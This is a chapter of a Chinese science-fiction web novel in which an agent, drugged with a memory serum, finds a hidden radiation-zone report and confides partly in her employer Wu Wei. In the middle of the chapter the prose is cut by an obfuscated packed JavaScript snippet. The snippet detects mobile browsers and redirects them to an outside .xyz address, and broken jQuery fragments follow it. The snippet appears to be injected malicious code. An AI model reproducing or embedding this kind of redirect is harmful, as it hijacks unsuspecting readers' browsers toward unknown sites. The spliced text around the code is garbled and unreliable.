“但是我有——”
姚渊的话语起头就让我感觉不妙,我一个箭步冲上去打断他的话。不知道是不是我的错觉,他在我扑上去的时候讽刺地轻笑一声。
我和姚渊摔进了防火门之内。奇怪的化学仪器还在低声作响,更加浓烈的馥郁花香扑面而来。
诡异的情景让我走了一瞬间的神。
看见他拿出和叶琦如出一辙的LEA注射器,我在想这种违规药剂有没有成瘾性。
假如组织里都是毒虫,那十年前的这个组织早就彻底完蛋了。我这么想着,举起手,决定采用金属部件的错误用法。
“好梦。”
姚渊的声音似乎从母亲遥远的花圃里传来。
意识似乎瞬间消失了。再次醒来时,我恍惚看见自己变成了叶琦,对着镜子大喊大叫,但发不出声音。
我看见时隔多年重新亮起的定位,看见定位走向生命管理局,走向吴烛的家,最后轻而易举地走进自己的家。
情绪输出远大于记忆冲击。惊讶、怀疑、难以置信——像是团成一团的致密火药从内部炸开。
记忆是燃烧的元素,轨迹是无从分辨的顺序,火光是灼痛的情绪,最后回荡着我难以言明的痛苦,迅速湮灭。
我得承认,姚渊的形容非常正确,真的很像是一场没有后遗症的甜梦。
我有点喜欢了。LEA不仅会注射情绪,还包括记忆。
叶琦给我注射的目的就非常明确了——她就想知道,眼前这个和记忆里的“吴潍”完全不同,但有“吴潍”风格,也有追踪匕首的陌生人,到底是不是吴潍,到底是不是她的挚友。
她知道我和她的分歧在哪里,是共情对象的差异。我也知道,并且我天真地觉得:这可以来日方长。
而我再也没有机会告诉她:我回来了,我可以拯救你,像十年前一样。
“醒醒。”有人在推我,熟悉的声音,柔软而担忧。浑身的钝痛让我费力地找回神志。
花香,该死的花香。我捂住脸,不知道自己是昏迷,还是睡了过去。这下我再去母亲的花圃一定会有心理阴影。
“Wined·Caster!”
这名字又在喊谁?昏暗的炽光灯打着频闪,我用力找到支撑点试图坐起,看着镜子——镜子?哪里来的镜子。
是吴潍,不是镜子。我拉住她即将采用“扇醒”方式叫醒我的手,起身坐起:“我醒了,醒了。”
“那就好。”吴潍收回手,上下打量我一番,伸出四根手指,“你有什么不舒服吗?这是几?”
我一把揽过她的四根手指,故意目视前方,语气迷离:“LEA有点上头。”
她瞪大了眼睛:“LEA没有成瘾性,只是情感复现,情绪安慰剂而已。”
我把视线转向她,她和我对视。我等着吴潍继续补充。她困惑地看着我,偏头挑眉,示意我说话。
好吧,我总算是确认吴潍真的对LEA几乎一无所知。
“确实没有。”我活动着手腕,移开视线。
“你骗我?”吴潍原本对准我的左肩,最后一拳捣上我的右肩,“你的职业精神就这样?”
我夸张地捂肩,顺势躺在地上,悲痛地呜咽一声。吴潍抓着我的手腕,试图把我拉起来:“你的老板不吃这一套,你收收吧。”
我借力挺腰,站起身,收起模糊重点的嬉皮笑脸。环视周围,防火门后的空间像是落灰很久的化学实验室。
扶了扶腰,我问吴潍:“姚渊呢?”
操,浑身都在痛。我得谢谢姚渊没有下死手。
不知道叶琦对姚渊说到什么程度了,但按照姚渊对我的态度来看,八成,不,一定知道,我见过下层,我是唯一一个完整穿梭过辐射区、并且活着回来的真正人类。
吴潍叹气:“他给你注射了LEA就离开了。”
我环视周围,假装我问出的问题并不是重点:“什么都没说?”
“什么都没说。”她很肯定地点头,“你是怕我问什么问题?”
我背过身去观察那些停止“嗡嗡”低鸣的化学仪器,整理好语气靠在桌子边缘:“你不觉得你的问法太直接了吗?”
吴潍抱胸,表示自己毫不在意我的控诉:“姚渊跟你很熟?”
“不熟。”我回答她,“而且他是组织总督,他说话你愿意信,那就完蛋了。”
“总督?”她重复了这个称呼,不知道是故意诈我,还是真的不知道组织里有这么一号人。
“类似精神领袖的角色。”我决定说实话,“昨天,还记得吗?我跟你说过,我是从组织里逃出来的。”
吴潍恍然大悟:“哦,那他为什么叫你吴队?”
“指桑骂槐呢。”我给那个举手投足冒着“自恋”傻气的男人下定义,控诉似的盯着吴潍看,“你当年在案件里做了什么?”
被反将一军的前城市管理员沉默了下去。我无辜地摊手,在这间屋子里转身,继续寻找能够破解那串数据的新线索。
玻璃器皿里有一些刚加工出来的花香精油,靠近之后浓烈的香味让我皱了眉头。其实这地方就没有什么好找的东西,姚渊亲自在这里蹲伏,怕的是我和吴潍不来,而不是找到潜在的线索。
“你懂化学技术吗?”我一介粗人实在是看不懂这些瓶瓶罐罐,“这里看起来只是精油萃取室,更像是姚渊故意吸引我们的圈套。”
吴潍从房间另外半圈绕到我们面前:“一般。我们又不做技术,空有理论没有仪器和实践。”
无奈,我翻箱倒柜地找出没有落灰的密封试管,准备采样那些提取出来的精油。察觉到存放试管的架子深度有些不对劲。伸手摸到底部,估算着距离。
这种制式的架子在下层相当常见,也是那些生物复制体的躲藏、藏匿重要物品的首选。
好俗套的走向!我心里“果然如此”地大喊一声,用指关节敲了敲底部,声音果然是空的。把整个隔层清空,我递给吴潍一个空试管,示意她去装一些样本。
摸了摸身上,才想起来匕首落在门外走廊,手头只有一些技术工具。
掏出小功率激光刀的时候,我还在寻思,对付这种薄铁板会不会有些大材小用?时间不等人,姚渊如果真的对吴潍什么都没说,八成他想说的都在这份隐藏的文件里。
拿出背后颇有些份量的纸张,是一份手稿,时间落款是3815年。
十年前的东西,有些眼熟的笔迹。我迅速翻查,是一份辐射区调查报告。
刚刚扫到开头第一句“根据为期六个月的调查”,我的大脑一片空白,下意识地用手挡住内容。
这是我曾经写给核心管理层的任务报告。去了下层之后,为了避免和“吴潍”扯上关系,我更改了笔迹,甚至连我自己都没法第一时间看出来曾经亲自写过的文件。
姚渊放这份文件是什么目的?这份文件需要配合当时的证据才有说服力,单独一份文件证明不了什么。
是要用这种方式证明他们知道吴潍的过去?
我再次扫了一遍细节部分。是近期的复印件,抹去了除了“吴潍”以外的所有人名,抹去了具体的证据描述,只留下了结论和核心管理层的反馈批语。
指向性非常明显:如果你想知道真相,我们会告诉你。
结尾的落款是我再熟悉不过的签名,一气呵成的笔迹,现在只让我几乎思维要停转。
我要把选择权留给吴潍吗?我惶惑地扶额,来不及想出对策,把单独成页的反馈拿出,迅速折叠塞进随身技术工具便携包。
拿着手里的文件起身,转身主动叫住还在给试管密封的吴潍:“姚渊藏的文件,有你名字。”
“我?”吴潍把试管递给我,接过那几张纸,低头去看内容,“你怎么这么确定是他藏的?”
当然了,组织精神领袖亲自登场,这种明显是线索的文件,怎么会就这么明晃晃地放在这里。
“这里已经是暴露的坐标,”我失忆吴潍去看复印件角落上的标记,“谁会把管理局标记为绝密的文件放在这里?”
吴潍皱着眉头:“你在管理局到底做过什么?”
“你要是想问我为什么会知道‘绝密’标记,”我收好精油样本和工具便携包,冲她一笑,“因为我干的所有事情都是绝密。”
后者对我的讨好完全不接受,沉默而优雅地蔑视我一眼。说完,我指了指门口,示意先去走廊回收匕首和手枪。
打开手电,发现姚渊自己的枪已经被拿走,我的枪还在门口,匕首落在不远处的走廊边。
在走廊站定,深呼吸,从曾经的记忆里翻找出那份文件。
想起最后管理局回复中的“拒绝”和“确认辐射区无人类活动迹象”,我心里就是一阵难以描述的五味陈杂。
一个很小的文字游戏。辐射区确实没有人类活动迹象,那只是个面积很大的隔离带。
我扶着头,深呼吸压制好情绪。姚渊的圈套、单方面的压制,迟迟不好的伤势,叶琦的死亡,余殷的信息,每一件事情都没有一条即行的出路。
无法诉说的压抑和真相,被践踏的信念和希冀,我无能为力,只好愤恨地对墙角撒气,有些气恼地踹了一脚。
"打不过姚渊这么生气?"吴潍从房间里走出来,手里的文件卷成卷拿在手里,“你也浑身是伤,打不过也情有可原。”
“打了十几年架,难得输这么惨。”我尴尬地收好情绪,结束简单的问候,“你在管理局有什么认识的技术员吗?”
曾经的也行。当年办案确实是和一个叫林执的技术员关系不错,希望吴潍能继承到这层。
“是有一个。”吴潍摸着下巴报出了熟悉的名字,“林执。当年似乎是指定的合作技术员,但现在不知道还接不接这种委托。”
终于是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272523|182377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有那么点好消息了,我拿着手电筒离开:“死马当活马医,先送你去管理局,我再去医院。”
“不,你应该先去医院。”吴潍拒绝了我的独行,“你账户里没钱。记得吗?”
“吴老板,”我有些无奈地喊她,“你真的觉得我在遇到你之前,全是当街乞讨才过活的吗?”
她的声音带了点久违的笑意:“当然不是,秘密特工。”
这个坐标果然是伏击,尽管有了准备,但对方确实是难缠。我浑身钝痛实在是动不了手,让吴潍去开车,我得坐副驾驶先躺一会。
“大小姐,不会开?”我被急刹起步撞在了储物箱上,痛得趴在台面上压着嗓子问她,“你那全自动的车不也是表演过手动起步的吗?”
被点名的大小姐有些尴尬一笑:“你这辆旧车进拍卖场,都能卖出原价了。”
噢,这车倒真是绝版货,卖出原价绰绰有余。我皱着眉头,毫不谦虚:“就当你在夸我眼光好了。”
好不容易起步的吴潍找不到自动巡航,我看不下去,撑着身子帮她启动,定位在管理局,总算是能安分小睡一会。
我摸出车里剩了半瓶的水,一股脑灌完,拧上瓶盖,空瓶放回原地。吴潍的视线在我这扫了又扫,我叹了一口气:“你是想问我能不能撑到医院?还是想说那份文件我看没看懂?”
“呃,都不是。”吴潍托着下巴看着我,“那是我的水。”
气氛顿时有些尴尬。忘了吴潍前面坐在副驾驶,这瓶水还是我分给她的。在车里野惯了,喝了一半的水向来随便塞进哪个储物箱,除了正儿八经的实体证件,其他东西都是复数。
犹豫地捂嘴,我避开视线,语气坚定:“职业精神,我不会嫌弃老板的。”
吴潍挥手,眼里都是担忧:“你到底给什么人工作过?”
“生命管理局。”我挑眉,面不改色地说一半谎,“我可是对城市忠心耿耿。”
她的表情像是根本不信:“你对复制体下不去手也因为——”
不是,因为没必要。我想说话,但如鲠在喉,最后挣扎出一句:“那份文件到底在说什么?”
“当年的案件找到了生物复制体的证据。”吴潍轻描淡写,但是没再看着我,“我结合证据,给上面写了份报告,支持人类异常信仰组织和生命管理局合作。”
太怪了,明明是我亲手写的文件,却被另一个生物体说“我写了”。我深呼吸,压下莫名其妙被剽窃的感觉:“那文件里的推测?”
这份文件只证明了两件事情:生物复制体确实存在,辐射区存在人类活动痕迹;两个推论:辐射区可以生存,辐射区之外存在第二个世界;一个建议:和民间辐射区探索组织合作,共同开拓资源。
而我拿走了管理局的拒绝批复。当然,这一点吴潍一定可以自己看出来,我想要隐藏的是:管理局坚决回复辐射区没有人类痕迹,否认了切实存在的实体证据。
要把她的注意点转移到去查管理局,辐射区本身就没有特别的意义,而且她被监视了,不会有任何线索。
“第二个世界?”她撇嘴,“我觉得更像是某种意向,而不是真正的第二个世界。”
我挪了一下姿势,尽量坐直身体问她:“你为什么这么说?”
“一份上报的文件,却没有任何批复?”她的语气很肯定,“组织既然能获得这样的内部文件,没理由得不到管理局的批复。要么是批复为拒绝,没必要放出来;要么就是管理局透露了重要信息。”
“比如说?”我摸着昏沉的头,努力打起精神。
她似乎是又看了我一眼,放弃跟进这个话题:“你先睡吧。”
好吧,在我已知的人生生涯中,很少会受这么重的伤。
上次不得不去医院的重伤,还是被名单上的复制体围殴的时候。因为昏迷定位太久没有改变,还是执行官同事把我带进医院的。
假如我是生物复制体,可就真的就死在那里了。
是梦还是回忆?我有些分不清我睡没睡着,但神智还是回来了。
我的老爷车停在了上午的街区,吴潍离她的下班时间还有两个小时。她下车时候的眼神落在我身上,像是轻轻地叹息,最后让我打开联系共享,把联系方式录进了我的手环。
接过方向盘,我终于恢复了孤身一人的行动力,熟练地开启自动巡航。
本想趁着这段时间好好梳理一番事件,但我的身体显然是开了省电模式,除了基本的生命体征,其他一概选择罢工。
我支开吴潍就是医院会因为重伤清洁我的身体,方便监测。把身上的装备全部留在车里,顺手把化妆品揣进风衣外套,我下车走向医院。
脸上的那些化妆品自然是留不下来,除了美瞳。
这玩意是管理局科技,是伪装,也是执行官的通行证明。开不了居民的锁,进生命管理局管控的实体建筑绰绰有余。